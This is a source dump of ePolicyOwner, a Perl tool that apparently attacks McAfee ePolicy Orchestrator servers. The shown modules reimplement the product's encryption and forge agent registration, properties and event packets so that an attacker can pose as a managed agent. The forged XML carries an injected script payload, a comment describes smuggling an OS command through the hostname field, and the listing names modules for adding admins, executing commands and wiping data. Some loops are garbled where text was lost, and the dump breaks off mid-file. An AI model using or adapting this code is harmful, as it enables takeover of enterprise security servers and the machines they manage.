├── Epowner
├── 3DES.pm
├── AES.pm
├── BuildStructEvent.pm
├── BuildStructFullProps.pm
├── BuildStructRegister.pm
├── Cab
│ ├── Cab.pm
│ ├── Cab.pm.save
│ ├── Helpers.pm
│ └── Structs.pm
├── CabSign
│ └── CabSign.pm
├── Catalog.pm
├── Compress.pm
├── Config.pm
├── DSA.pm
├── Epo.pm
├── HTTP.pm
├── ModeAddAdmin.pm
├── ModeCheck.pm
├── ModeClientDeploy.pm
├── ModeCommon.pm
├── ModeDomainPasswd.pm
├── ModeGatherInfo.pm
├── ModeReadDB.pm
├── ModeRegister.pm
├── ModeSQL.pm
├── ModeServerExec.pm
├── ModeServerUpload.pm
├── ModeWipe.pm
├── PkgCatalog.pm
├── Print.pm
├── RSA.pm
├── SQL.pm
├── StringsManipulation.pm
├── TomcatAutomaticResponses.pm
└── TomcatLogin.pm
├── README
├── README.md
├── cli-deploy-templates
├── README.txt
├── custom0_cmd
│ └── run.bat
├── custom0_file
│ ├── evil.exe
│ └── run.bat
└── custom1
│ ├── evil.dll
│ ├── evil.exe
│ └── run.bat
├── ePolicyOwner.pl
├── fingerprinting
├── http-epo-fingerprint.nse
└── ssl-fingerprint.txt
├── lib
├── Crypt
│ ├── PPDES.pm
│ └── TripleDES.pm
├── LWP-Protocol-https-6.03.tar.gz
└── LWP-Protocol-socks-1.6.tar.gz
└── tools
├── DumpKey0000000000000.class
├── DumpKey0000000000000.java
├── README.txt
└── unzip.exe
/Epowner/3DES.pm:
--------------------------------------------------------------------------------
1 |
2 |
3 | package Epowner::Epo;
4 |
5 | use Crypt::TripleDES;
6 |
7 | use strict;
8 | use warnings;
9 |
10 | #============================================================#
11 | # McAfee 3DES encryption #
12 | #============================================================#
13 | sub mcafee_3des_encrypt {
14 |
15 | # McAfee 3DES = XOR8 + 3DES + tags
16 |
17 | my $input = shift;
18 | my $key_hex = shift;
19 |
20 | # padding to 3DES block size (3DES block len is 8)
21 | my $padding_len = length($input)%8;
22 | $input .= "\x00" x (8 - $padding_len) ;
23 |
24 | # XOR8
25 | $input = xor8_encode($input, 0x54);
26 |
27 | # Encrypt
28 | my $des = new Crypt::TripleDES;
29 | my $data_encrypted = $des->encrypt3 ($input, $key_hex );
30 | $data_encrypted =
31 | "\x45\x50\x4f\x00" . # tag ?
32 | "\x02\x00\x00\x00" . # tag ?
33 | pack("V", length($data_encrypted)) . # len of encrypted data
34 | $data_encrypted ;
35 |
36 |
37 | return $data_encrypted;
38 | }
39 |
40 | #============================================================#
41 | # McAfee 3DES decryption #
42 | #============================================================#
43 | sub mcafee_3des_decrypt {
44 |
45 | # McAfee 3DES = XOR8 + 3DES + tags
46 |
47 | my $input = shift;
48 | my $key_hex = shift;
49 |
50 | # skip tags
51 | $input = substr($input, 12);
52 |
53 | # decrypt
54 | my $des = new Crypt::TripleDES;
55 | my $data_decrypted = $des->decrypt3 ($input, $key_hex );
56 |
57 | # XOR8
58 | $data_decrypted = xor8_decode($data_decrypted, 0x54);
59 |
60 | return $data_decrypted;
61 | }
62 |
63 |
64 | 1;
65 |
--------------------------------------------------------------------------------
/Epowner/AES.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Crypt::Rijndael;
4 |
5 | use strict;
6 | use warnings;
7 |
8 |
9 |
10 | #============================================================#
11 | # AES-ECB decryption #
12 | #============================================================#
13 | sub aes_ecb_decrypt {
14 | my $this = shift;
15 | my $encrypted = shift;
16 | my $aes_key = shift;
17 |
18 | my $aes = Crypt::Rijndael->new( $aes_key, Crypt::Rijndael::MODE_ECB() );
19 | my $decrypted = $aes->decrypt($encrypted);
20 |
21 | my $last_byte = unpack("C",substr($decrypted,-1)); # take the last byte (contains the padding length)
22 | my $aes_key_len = length($aes_key);
23 |
24 | if($last_byte < $aes_key_len){
25 | # ok, $last_byte contains the padding length
26 | $decrypted = substr($decrypted, 0, length($decrypted) - $last_byte);
27 | }
28 |
29 | return $decrypted;
30 | }
31 |
32 |
33 |
34 | 1;
35 |
--------------------------------------------------------------------------------
/Epowner/BuildStructEvent.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Crypt::OpenSSL::DSA;
4 | use MIME::Base64;
5 | use Digest::SHA qw(sha1 sha1_hex);
6 |
7 | use strict;
8 | use warnings;
9 |
10 |
11 | #============================================================#
12 | # Event request : Header1 #
13 | #============================================================#
14 | sub build_struct_event_header1{
15 |
16 | my $this = shift;
17 |
18 | print " [+] Building binary header 1\n" if $this->{verbose};
19 |
20 | $this->{binary_header1} =
21 | "\x50\x4f" .
22 | # packet type
23 | "\x01\x00\x00\x60" .
24 | # header len (binary_header1 + binary_header2)
25 | "WWWW" .
26 | "\x01\x00\x00\x00\x00\x00\x00\x00" .
27 | # data_len
28 | "ZZZZ" .
29 | # GUID
30 | $this->{agent_guid} .
31 | # unknown
32 | "\x00\x00\x00\x00" .
33 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
34 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
35 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
36 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
37 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
38 | "\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" .
39 | # hostname
40 | $this->{agent_hostname} .
41 | # hostname padding
42 | "\x00" x (32 - length($this->{agent_hostname})) .
43 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
45 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;
46 |
47 | }
48 |
49 |
50 | #============================================================#
51 | # Event Request : Header2 #
52 | #============================================================#
53 | sub build_struct_event_header2{
54 |
55 | my $this = shift;
56 |
57 | print " [+] Building binary header 2\n" if $this->{verbose};
58 |
59 | # Generate transaction ID
60 | my $transaction_guid = generate_guid();
61 |
62 | # increment Sequence number
63 | $this->{agent_seqnum}++;
64 | $this->config_save_seqnum_only();
65 |
66 |
67 | # build
68 | $this->{binary_header2} =
69 | "\x0c\x00\x00\x00" . "ComputerName" . pack("V", length($this->{agent_hostname})) . $this->{agent_hostname} .
70 | "\x19\x00\x00\x00" . "GuidRegenerationSupported" . pack("V", length("1")) . "1" .
71 | "\x0b\x00\x00\x00" . "PackageType" . pack("V", length("Event")) ."Event" .
72 | "\x0e\x00\x00\x00" . "SequenceNumber" . pack("V", length($this->{agent_seqnum})) . $this->{agent_seqnum} .
73 | "\x0d\x00\x00\x00" . "ServerKeyHash" . pack("V", length($this->{server_pubkeyhash})) .$this->{server_pubkeyhash} .
74 | "\x0f\x00\x00\x00" . "SiteinfoVersion" . pack("V", length("10")) . "10" .
75 | "\x15\x00\x00\x00" . "SupportedSPIPEVersion" . pack("V", length("3.0;4.0;5.0;6.0")) . "3.0;4.0;5.0;6.0".
76 | "\x0f\x00\x00\x00" . "TransactionGUID" . pack("V", length($transaction_guid)) . $transaction_guid ;
77 |
78 | }
79 |
80 |
81 |
82 | #============================================================#
83 | # Event request : Event part #
84 | #============================================================#
85 | sub build_struct_event_event {
86 |
87 | my $this = shift;
88 | my $hostname = shift || $this->{agent_hostname}; # hostname can be used during --srv-exec, to pass the os command.
89 | # Max length: 266 chars
90 | my $filename = shift || "20121210121340871913800000D61.xml";
91 | my $filename_len = pack("v", length($filename)); # length of file name in WORD
92 |
93 | my $xml_content = shift || << "EOF";
94 |
95 |
96 |
97 |
98 |
99 | $this->{agent_guid}
100 | $this->{agent_ip}
101 | WXPW
102 | user
103 | -60
104 | $this->{agent_mac}
105 |
106 |
107 |
108 | 2412
109 | 0
110 | 2012-12-10T11:14:31
111 | EPOAGENT3000
112 | 080c
113 | N/A
114 | 26
115 | N/A
116 | N/A
117 | EPOAGENT3000
118 | DeploymentTask
119 |
120 |
121 |
122 | EOF
123 | print " [+] Building Event XML content\n" if $this->{verbose};
124 |
125 | $this->{event_xml} = $xml_content;
126 |
127 | print " [+] Packing XML\n" if $this->{verbose};
128 | $this->{event_xml} =
129 | "\x01\x00" . # tag
130 | $filename_len . # len of filename
131 | $filename . # filename
132 | pack("V",length($this->{event_xml})) . # len of XML
133 | $this->{event_xml}; # XML content
134 |
135 | }
136 |
137 |
138 |
139 | 1;
140 |
--------------------------------------------------------------------------------
/Epowner/BuildStructFullProps.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use Crypt::OpenSSL::DSA;
4 | use MIME::Base64;
5 | use Digest::SHA qw(sha1 sha1_hex);
6 |
7 | use strict;
8 | use warnings;
9 |
10 |
11 |
12 | #============================================================#
13 | # FULL PROPS reauest : Header1 #
14 | #============================================================#
15 | sub build_struct_fullprops_header1{
16 |
17 | my $this = shift;
18 |
19 | print " [+] Building binary header 1\n" if $this->{verbose};
20 |
21 | $this->{binary_header1} =
22 | "\x50\x4f" .
23 | # packet type
24 | "\x01\x00\x00\x60" .
25 | # header len (binary_header1 + binary_header2)
26 | "WWWW" .
27 | "\x01\x00\x00\x00\x00\x00\x00\x00" .
28 | # data_len
29 | "ZZZZ" .
30 | # GUID
31 | $this->{agent_guid} .
32 | # unknown
33 | "\x00\x00\x00\x00" .
34 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
35 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
36 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
37 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
38 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
39 | "\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" .
40 | # hostname
41 | $this->{agent_hostname} .
42 | # hostname padding
43 | "\x00" x (32 - length($this->{agent_hostname})) .
44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
45 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
46 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;
47 |
48 | }
49 |
50 |
51 | #============================================================#
52 | # FULL PROPS reauest : Header2 #
53 | #============================================================#
54 | sub build_struct_fullprops_header2{
55 |
56 | my $this = shift;
57 |
58 | print " [+] Building binary header 2\n" if $this->{verbose};
59 |
60 | # Generate transaction ID
61 | my $transaction_guid = generate_guid();
62 |
63 | # increment Sequence number
64 | $this->{agent_seqnum}++;
65 |
66 | # save the new seqnum
67 | $this->config_save_seqnum_only();
68 |
69 |
70 | # build
71 | $this->{binary_header2} =
72 | "\x0e\x00\x00\x00" . "AssignmentList" . pack("V", length("P={4;6;8;a} T={1;2}")) . "P={4;6;8;a} T={1;2}" .
73 | "\x0c\x00\x00\x00" . "ComputerName" . pack("V", length($this->{agent_hostname})) . $this->{agent_hostname} .
74 | "\x12\x00\x00\x00" . "EventFilterVersion" . pack("V", length("3001")) . "3001" .
75 | "\x19\x00\x00\x00" . "GuidRegenerationSupported" . pack("V", length("1")) . "1" .
76 | "\x09\x00\x00\x00" . "IPAddress" . pack("V", length($this->{agent_ip})) . $this->{agent_ip} .
77 | "\x0a\x00\x00\x00" . "NETAddress" . pack("V", length($this->{agent_mac})) . $this->{agent_mac} .
78 | "\x0b\x00\x00\x00" . "PackageType" . pack("V", length("FullProps")) ."FullProps" .
79 | "\x0a\x00\x00\x00" . "PlatformID" . pack("V", length("WXPW:5:1:3")) . "WXPW:5:1:3".
80 | "\x0d\x00\x00\x00" . "PolicyVersion" . pack("V", length("20401119214747")) . "20401119214747".
81 | "\x0c\x00\x00\x00" . "PropsVersion" . pack("V", length("20401119214747")) ."20401119214747" .
82 | "\x12\x00\x00\x00" . "RepoKeyHashVersion" . pack("V", length("20401119214747")) . "20401119214747" .
83 | "\x0e\x00\x00\x00" . "SequenceNumber" . pack("V", length($this->{agent_seqnum})) . $this->{agent_seqnum} .
84 | "\x0d\x00\x00\x00" . "ServerKeyHash" . pack("V", length($this->{server_pubkeyhash})) .$this->{server_pubkeyhash} .
85 | "\x0f\x00\x00\x00" . "SiteinfoVersion" . pack("V", length("10")) . "10" .
86 | "\x15\x00\x00\x00" . "SupportedSPIPEVersion" . pack("V", length("3.0;4.0;5.0;6.0")) . "3.0;4.0;5.0;6.0".
87 | "\x0b\x00\x00\x00" . "TaskVersion" . pack("V", length("1")) . "1".
88 | "\x0f\x00\x00\x00" . "TransactionGUID" . pack("V", length($transaction_guid)) . $transaction_guid .
89 | "\x05\x00\x00\x00" . "User1" . pack("V", length("dom\\administrator,0")) . "dom\\administrator,0" .
90 | "\x13\x00\x00\x00" . "UserAssignmentCount" . pack("V", length("1")) . "1";
91 |
92 |
93 | }
94 |
95 |
96 |
97 | #============================================================#
98 | # FULL PROPS : FullProps XML #
99 | #============================================================#
100 | sub build_struct_fullprops_props {
101 |
102 | my $this = shift;
103 | my $guid_injection = shift;
104 |
105 | print " [+] Building FullProps XML content\n" if $this->{verbose};
106 |
107 | $this->{props_xml} = << "EOF";
108 |
109 |
110 |
111 | N/A
112 | 1599
113 | Intel(R) Atom(TM) CPU 330 @ 1.60GHz
114 | N/A
115 | $this->{agent_hostname}
116 | 0409
117 | WORKGROUP
118 | WXPW
119 | 13098,00
120 | 345198592
121 | 13098,00
122 | $this->{agent_ip}
123 | $this->{agent_hostname}
124 | N/A
125 | 0
126 | 12/05/2012 23:09:35
127 | $this->{agent_mac}
128 | 1
129 | 1
130 | 0
131 | 2600
132 | Service Pack 3
133 |
134 | Professional
135 | Windows XP
136 | 5.1
137 | WXPW:5:1:3
138 | $this->{agent_subnet}
139 | $this->{agent_netmask}
140 | Romance Standard Time
141 | 15351,00
142 | 527941632
143 | 15351,00
144 | user
145 |
146 |
147 |
148 | 8082
149 |
150 | 9081
151 | 60
152 | 0409
153 | 4.5.0.1810
154 | 5
155 | -1
156 | $this->{server_pubkeyhash}
157 | 1
158 | 1
159 |
160 | 1
161 | 0
162 | 0
163 | C:\\Program Files\\McAfee\\Common Framework
164 | 4.5.0.1810
165 |
166 |
167 |
168 |
169 | 0000
170 | 4.5.0.1810
171 | C:\\Program Files\\McAfee\\Common Framework
172 |
173 |
174 |
175 | EOF
176 |
177 | print " [+] Packing XML\n" if $this->{verbose};
178 | $this->{props_xml} =
179 | "\x01\x00\x09\x00" . # tag ?
180 | "Props.xml" .
181 | pack("V",length($this->{props_xml})) . # len of XML
182 | $this->{props_xml};
183 |
184 | }
185 |
186 |
187 |
188 | 1;
189 |
--------------------------------------------------------------------------------
/Epowner/BuildStructRegister.pm:
--------------------------------------------------------------------------------
1 | package Epowner::Epo;
2 |
3 | use HTTP::Request;
4 | use Crypt::OpenSSL::DSA;
5 | use MIME::Base64;
6 | use Digest::SHA qw(sha1 sha1_hex);
7 |
8 | use strict;
9 | use warnings;
10 |
11 |
12 | #============================================================#
13 | # Register Request : Header1 #
14 | #============================================================#
15 | sub build_struct_register_header1{
16 |
17 | my $this = shift;
18 |
19 | print " [+] Building binary header 1\n" if $this->{verbose};
20 |
21 | $this->{binary_header1} =
22 | "\x50\x4f" .
23 | # packet type
24 | "\x01\x00\x00\x50" .
25 | # header len (binary_header1 + binary_header2)
26 | "WWWW" .
27 | "\x02\x00\x00\x00\x00\x00\x00\x00" .
28 | # data_len
29 | "ZZZZ" .
30 | # GUID
31 | $this->{agent_guid} .
32 | # unknown
33 | "\x00\x00\x00\x00" .
34 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
35 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
36 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
37 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
38 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
39 | "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" .
40 | # hostname
41 | $this->{agent_hostname} .
42 | # hostname padding
43 | "\x00" x (32 - length($this->{agent_hostname})) .
44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
45 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
46 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ;
47 |
48 | }
49 |
50 |
51 | #============================================================#
52 | # Register Request : Header2 #
53 | #============================================================#
54 | sub build_struct_register_header2{
55 |
56 | my $this = shift;
57 |
58 | print " [+] Building binary header 2\n" if $this->{verbose};
59 |
60 | my $transaction_guid = generate_guid();
61 |
62 | $this->{binary_header2} =
63 | "\x0e\x00\x00\x00" . "AssignmentList" . pack("V", length("0")) . "0" .
64 | "\x0c\x00\x00\x00" . "ComputerName" . pack("V", length($this->{agent_hostname})) . $this->{agent_hostname} .
65 | "\x0a\x00\x00\x00" . "DomainName" . pack("V", length("WORKGROUP")) . "WORKGROUP" .
66 | "\x12\x00\x00\x00" . "EventFilterVersion" . pack("V", length("0")) . "0" .
67 | "\x19\x00\x00\x00" . "GuidRegenerationSupported" . pack("V", length("1")) . "1" .
68 | "\x09\x00\x00\x00" . "IPAddress" . pack("V", length($this->{agent_ip})) . $this->{agent_ip} .
69 | "\x0a\x00\x00\x00" . "NETAddress" . pack("V", length($this->{agent_mac})) . $this->{agent_mac} .
70 | "\x0b\x00\x00\x00" . "PackageType" . pack("V", length("AgentPubKey")) ."AgentPubKey" .
71 | "\x0a\x00\x00\x00" . "PlatformID" . pack("V", length("WXPW:5:1:3")) . "WXPW:5:1:3".
72 | "\x0d\x00\x00\x00" . "PolicyVersion" . pack("V", length("0")) . "0".
73 | "\x0c\x00\x00\x00" . "PropsVersion" . pack("V", length("20401119214747")) ."20401119214747" .
74 | "\x12\x00\x00\x00" . "RepoKeyHashVersion" . pack("V", length("0")) . "0" .
75 | "\x0e\x00\x00\x00" . "SequenceNumber" . pack("V", length("1")) . "1" .
76 | "\x0d\x00\x00\x00" . "ServerKeyHash" . pack("V", length($this->{server_pubkeyhash})) .$this->{server_pubkeyhash} .
77 | "\x0f\x00\x00\x00" . "SiteinfoVersion" . pack("V", length("0")) . "0" .
78 | "\x15\x00\x00\x00" . "SupportedSPIPEVersion" . pack("V", length("3.0;4.0;5.0;6.0")) . "3.0;4.0;5.0;6.0".
79 | "\x0b\x00\x00\x00" . "TaskVersion" . pack("V", length("0")) . "0".
80 | "\x0f\x00\x00\x00" . "TransactionGUID" . pack("V", length($transaction_guid)) . $transaction_guid .
81 | "\x05\x00\x00\x00" . "User1" . pack("V", length("dom\\administrator,0")) . "dom\\administrator,0" .
82 | "\x13\x00\x00\x00" . "UserAssignmentCount" . pack("V", length("1")) . "1";
83 |
84 |
85 | }
86 |
87 |
88 |
89 | #============================================================#
90 | # Register Request : Full props #
91 | #============================================================#
92 | sub build_struct_register_fullprops {
93 |
94 | my $this = shift;
95 |
96 | print " [+] Building FullProps XML content\n" if $this->{verbose};
97 |
98 | $this->{props_xml} = << "EOF";
99 |
100 |
101 |
102 | N/A
103 | 1599
104 | Intel(R) Atom(TM) CPU 330 @ 1.60GHz
105 | N/A
106 | $this->{agent_hostname}
107 | 080c
108 | WORKGROUP
109 | WXPW
110 | 13098,00
111 | 345198592
112 | 13098,00
113 | $this->{agent_ip}
114 | $this->{agent_hostname}
115 | N/A
116 | 0
117 | 12/05/2012 23:09:35
118 | $this->{agent_mac}
119 | 1
120 | 1
121 | 0
122 | 2600
123 | Service Pack 3
124 |
125 | Professional
126 | alert(1)]]>Windows XP
127 | 5.1
128 | WXPW:5:1:3
129 | $this->{agent_subnet}
130 | $this->{agent_netmask}
131 | Romance Standard Time
132 | 15351,00
133 | 527941632
134 | 15351,00
135 | user
136 |
137 |
138 |
139 | 8082
140 | $this->{agent_guid}
141 | 8081
142 | 60
143 | 040C
144 | 4.5.0.1810
145 | 5
146 | -1
147 | $this->{server_pubkeyhash}
148 | 1
149 | 1
150 |
151 | 1
152 | 0
153 | 0
154 | C:\\Program Files\\McAfee\\Common Framework
155 | 4.5.0.1810
156 |
157 |
158 |
159 |
160 | 0000
161 | 4.5.0.1810
162 | C:\\Program Files\\McAfee\\Common Framework
163 |
164 |
165 |
166 | EOF
167 |
168 | print " [+] Packing XML\n" if $this->{verbose};
169 | $this->{props_xml} =
170 | "\x02\x00\x09\x00" . # tag ?
171 | "Props.xml" .
172 | pack("V",length($this->{props_xml})) . # len of XML
173 | $this->{props_xml};
174 |
175 | }
176 |
177 | 1;
178 |
--------------------------------------------------------------------------------
/Epowner/Cab/Cab.pm:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 | package Epowner::Cab::Cab;
3 |
4 | # very simple makecab code. Only support one file in cab
5 |
6 | use File::Basename;
7 |
8 | use Epowner::Cab::Structs;
9 | use Epowner::Cab::Helpers;
10 |
11 |
12 | sub new{
13 | my $this = {};
14 |
15 | my ($class, $lcab_path, $cabextract_path) = @_; # get the parameters
16 |
17 | $this->{'cheader'} = '';
18 | $this->{'cfolder'} = '';
19 | $this->{'cfile'} = '';
20 | $this->{'cdata'} = '';
21 |
22 | $this->{'cabextract_path'} = $cabextract_path || '';
23 | $this->{'lcab_path'} = $lcab_path || '';
24 |
25 | bless $this, $class;
26 | return $this
27 | }
28 |
29 |
30 | sub makecab {
31 | my $this = shift;
32 | my $filename = shift; # input file
33 | my $outfile = shift; # guess what
34 | my $remove_path = shift || 0;
35 |
36 | if(not -e $filename){
37 | print "[-] ERROR (makecab): file '$filename' not found\n";
38 | exit;
39 | }
40 |
41 | my $lcab = $this->{lcab_path};
42 | unlink $outfile; #if any ..
43 |
44 | system("$lcab -n $filename $outfile 2>&1 1>/dev/null");
45 |
46 | if (not -f $outfile){
47 | print "[-] ERROR (makecab): lcab failure.. ($lcab -n $filename $outfile)\n";
48 | exit;
49 | }
50 |
51 | }
52 |
53 |
54 | sub extractcab {
55 | my $this = shift;
56 | my $cabfile_path = shift;
57 | my $outfile = shift;
58 |
59 |
60 | my ($out_name,$out_path) = fileparse($outfile);
61 |
62 | # ePo sometimes use LZX compression :(
63 | # lets use cab extract...
64 | my $cabextract = $this->{cabextract_path};
65 |
66 | unlink $outfile; #if any ..
67 | system("$cabextract -q -F catalog.xml -L -d $out_path $cabfile_path 2>/dev/null");
68 |
69 | if (not -f $outfile){
70 | print "[-] ERROR (extractcab): cabextract failure.. ($cabextract -q -F catalog.xml -L -d $out_path $cabfile_path)\n";
71 | exit;
72 | }
73 |
74 | }
75 |
76 |
77 |
78 |
79 | sub extractcab_UNCOMPLETE {
80 | my $this = shift;
81 | my $cabfile_path = shift;
82 | my $outfile = shift;
83 |
84 | # read cab file
85 | my $cab_content='';
86 | open (IN, "$cabfile_path") or die "cab in: $!\n";
87 | read (IN,$cab_content, -s IN);
88 | close IN;
89 |
90 |
91 | my $cdata_size = 8; # default length when flags = 0x0000
92 | # flags
93 | my $cheader_flags = unpack ("v",substr($cab_content, 30, 2));
94 | if($cheader_flags & 0x004) { $cdata_size+=1; }
95 |
96 | # offsets
97 | my $first_cfile_offset = unpack ("V",substr($cab_content,16,4));
98 | my $first_cfolder_offset = $first_cfile_offset - 8; # in real situation, this could be wrong
99 | my $first_cdata_offset = unpack ("v",substr($cab_content, $first_cfolder_offset ,4));
100 |
101 | # compression info
102 | my $compression_type_offset = $first_cfolder_offset + 6;
103 | my $compression_type = unpack ("v",substr($cab_content, $compression_type_offset ,2));
104 |
105 | my $cdata_ncbytes = unpack ("v",substr($cab_content, $first_cdata_offset + 4 ,2));
106 | my $cdata_nubytes = unpack ("v",substr($cab_content, $first_cdata_offset + 6 ,2));
107 |
108 |
109 | # CDATA content
110 | my $cdata_content = substr($cab_content, $first_cdata_offset + $cdata_size ,$cdata_ncbytes);
111 |
112 | #print "cheader_flags : $cheader_flags\n";
113 | print "first_cfile_offset : $first_cfile_offset\n";
114 | print "first_cfolder_offset: $first_cfolder_offset\n";
115 | print "first_cdata_offset : $first_cdata_offset\n";
116 | print "compression type : $compression_type\n";
117 | print "ncbytes : $cdata_ncbytes\n";
118 | print "nubytes : $cdata_nubytes\n";
119 |
120 |
121 | #----------------------------------------------------------
122 | # HO ! ePo use LZX compression (not always).
123 | # No LZX Perl module available and I start to be tired ...
124 | #----------------------------------------------------------
125 |
126 | #my $buf = $cdata_content;
127 | #for(my $i=0;$icheader_init(1,$nof,0,1234,0);
164 | $this->cheader_offsetfiles(0x2C);
165 |
166 | my $nod = $this->number_of_datablocks($filename);
167 |
168 | # HEADER SIZE PART 1
169 | my $mysize2 = 0x2C + $nof*16;
170 | $mysize2 += length($file) + 1;
171 | $mysize2 += $nod*8;
172 |
173 | # FOLDER
174 | $this->cfolder_init( $nod );
175 | my $offsetdata = 16 + length($file) + 1;
176 | $this->cfolder_offsetdata(0x2C + $offsetdata);
177 |
178 |
179 | # file size
180 | my $mysize = $this->sizefile($filename);
181 |
182 |
183 | # DATABLOCKS
184 | $this->cdata_init( 0 );
185 | # we assume "mysize < DATABLOCKSIZE"
186 | if ($mysize >= 32768) { print "cab error: mysize >= 32768\n"; exit;}
187 | $this->cdata_ncbytes( $mysize );
188 | $this->cdata_nubytes( $mysize );
189 | $mysize2 += $mysize;
190 |
191 |
192 | # HEADER SIZE PART 2
193 | $this->cheader_size( $mysize2 );
194 | $mysize += $this->sizefile($filename);
195 |
196 | # FILES
197 | $this->cfile_init( $this->sizefile($filename) , 0, $file);
198 | $this->cfile_uoffset( 0 );
199 |
200 | # WRITE
201 | open (OUT, ">$outfile") or die "$outfile: $!\n";
202 | #cheaderwrite
203 | print OUT $this->{'cheader'};
204 | print OUT $this->{'cfolder'};
205 | print OUT $this->{'cfile'};
206 | print OUT $this->{'cdata'};
207 |
208 | my $cabin='';
209 | open (IN, "$filename") or die "cab in: $!\n";
210 | read (IN,$cabin, -s IN);
211 |
212 | print OUT $cabin;
213 | close OUT;
214 | close IN;
215 | }
216 |
217 |
218 |
219 | 1;
220 |
--------------------------------------------------------------------------------
/Epowner/Cab/Cab.pm.save:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 | package Epowner::Cab::Cab;
3 |
4 | # very simple makecab code. Only support one file in cab
5 |
6 | use File::Basename;
7 |
8 | use Epowner::Cab::Structs;
9 | use Epowner::Cab::Helpers;
10 |
11 |
12 | sub new{
13 | my $this = {};
14 |
15 | my ($class) = @_; # get the parameters
16 |
17 | $this->{'cheader'} = '';
18 | $this->{'cfolder'} = '';
19 | $this->{'cfile'} = '';
20 | $this->{'cdata'} = '';
21 |
22 | bless $this, $class;
23 | return $this
24 | }
25 |
26 |
27 | sub extractcab {
28 | my $this = shift;
29 | my $cabfile_path = shift;
30 | my $outfile = shift;
31 |
32 | # read cab file
33 | my $cab_content='';
34 | open (IN, "$cabfile_path") or die "cab in: $!\n";
35 | read (IN,$cab_content, -s IN);
36 | close IN;
37 |
38 |
39 |
40 |
41 | # offsets
42 | my $first_cfile_offset = unpack ("V",substr($cab_content,16,4));
43 | my $first_cfolder_offset = $first_cfile_offset - 8; # in real situation, this could be wrong
44 | my $first_cdata_offset = unpack ("v",substr($cab_content, $first_cfolder_offset ,4));
45 |
46 | # compression info
47 | my $compression_type_offset = $first_cfolder_offset + 6;
48 | my $compression_type = unpack ("v",substr($cab_content, $compression_type_offset ,2));
49 |
50 | my $cdata_ncbytes = unpack ("v",substr($cab_content, $first_cdata_offset + 4 ,2));
51 | my $cdata_nubytes = unpack ("v",substr($cab_content, $first_cdata_offset + 6 ,2));
52 |
53 |
54 | # CDATA content
55 | my $cdata_content = substr($cab_content, $first_cdata_offset + $cdata_size ,$cdata_ncbytes);
56 |
57 | #print "cheader_flags : $cheader_flags\n";
58 | print "first_cfile_offset : $first_cfile_offset\n";
59 | print "first_cfolder_offset: $first_cfolder_offset\n";
60 | print "first_cdata_offset : $first_cdata_offset\n";
61 | print "compression type : $compression_type\n";
62 | print "ncbytes : $cdata_ncbytes\n";
63 | print "nubytes : $cdata_nubytes\n";
64 |
65 |
66 | my $buf = $cdata_content;
67 | #for(my $i=0;$i<16; $i++){
68 | for(my $i=0;$icheader_init(1,$nof,0,1234,0);
172 | $this->cheader_offsetfiles(0x2C);
173 |
174 | my $nod = $this->number_of_datablocks($filename);
175 |
176 | # HEADER SIZE PART 1
177 | my $mysize2 = 0x2C + $nof*16;
178 | $mysize2 += length($file) + 1;
179 | $mysize2 += $nod*8;
180 |
181 | # FOLDER
182 | $this->cfolder_init( $nod );
183 | my $offsetdata = 16 + length($file) + 1;
184 | $this->cfolder_offsetdata(0x2C + $offsetdata);
185 |
186 |
187 | # file size
188 | my $mysize = $this->sizefile($filename);
189 |
190 |
191 | # DATABLOCKS
192 | $this->cdata_init( 0 );
193 | # we assume "mysize < DATABLOCKSIZE"
194 | if ($mysize >= 32768) { print "cab error: mysize >= 32768\n"; exit;}
195 | $this->cdata_ncbytes( $mysize );
196 | $this->cdata_nubytes( $mysize );
197 | $mysize2 += $mysize;
198 |
199 |
